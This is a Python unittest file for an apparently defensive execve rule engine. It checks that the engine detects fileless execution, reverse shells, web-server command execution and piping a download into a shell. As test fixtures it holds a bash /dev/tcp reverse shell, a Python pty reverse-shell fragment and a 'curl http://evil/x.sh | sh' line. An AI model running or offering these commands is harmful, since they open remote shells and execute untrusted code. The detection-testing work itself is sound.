# SPDX-License-Identifier: GPL-3.0-or-later
"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
import unittest

from enodia_sentinel.alert import Severity
from enodia_sentinel.events.exec_event import ExecEvent
from enodia_sentinel.events.rules import (
    DEFAULT_EXEC_RULES,
    ExecRule,
    ExecRuleEngine,
)


def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
    return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
                     filename=filename, argv=tuple(argv))


class TestExecEvent(unittest.TestCase):
    def test_derived_fields(self):
        e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
        self.assertEqual(e.exec_comm, "x")
        self.assertEqual(e.argv_str, "/tmp/x -c echo hi")


class TestDefaultRules(unittest.TestCase):
    def setUp(self):
        self.engine = ExecRuleEngine()

    def sids(self, e):
        return {a.sid for a in self.engine.match(e)}

    def test_fileless_tmp_exec(self):
        self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
        self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))

    def test_normal_path_no_fileless(self):
        self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))

    def test_reverse_shell_devtcp(self):
        e = ev(filename="/bin/bash",
               argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
        self.assertIn(100002, self.sids(e))

    def test_reverse_shell_python(self):
        e = ev(filename="/usr/bin/python3",
               argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
        self.assertIn(100002, self.sids(e))

    def test_benign_command_no_reverse_shell(self):
        self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))

    def test_web_rce_shell_from_nginx(self):
        e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
        sids = self.sids(e)
        self.assertIn(100003, sids)

    def test_web_rce_requires_interpreter_child(self):
        # nginx spawning a normal helper is not an interpreter -> no web-rce
        e = ev(filename="/usr/bin/convert", parent="nginx")
        self.assertNotIn(100003, self.sids(e))

    def test_login_shell_not_web_rce(self):
        # sshd spawning bash is a normal login, not in the web/db server set
        e = ev(filename="/bin/bash", parent="sshd")
        self.assertNotIn(100003, self.sids(e))

    def test_curl_pipe_sh(self):
        e = ev(filename="/bin/sh",
               argv=("-c", "curl http://evil/x.sh | sh"))
        self.assertIn(100004, self.sids(e))

    def test_severities(self):
        sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
        self.assertEqual(sev[100001], Severity.CRITICAL)
        self.assertEqual(sev[100002], Severity.CRITICAL)
        self.assertEqual(sev[100004], Severity.HIGH)

    def test_alert_carries_sid_and_classtype(self):
        e = ev(filename="/tmp/x")
        alert = next(iter(self.engine.match(e)))
        self.assertEqual(alert.sid, 100001)
        self.assertEqual(alert.classtype, "fileless-execution")
        self.assertEqual(alert.pids, (e.pid,))


class TestRuleValidation(unittest.TestCase):
    def test_rule_with_no_conditions_rejected(self):
        with self.assertRaises(ValueError):
            ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")

    def test_parent_exclude(self):
        rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
                        exec_comm=frozenset({"bash"}),
                        parent_exclude=frozenset({"sshd"}))
        self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
        self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))


if __name__ == "__main__":
    unittest.main()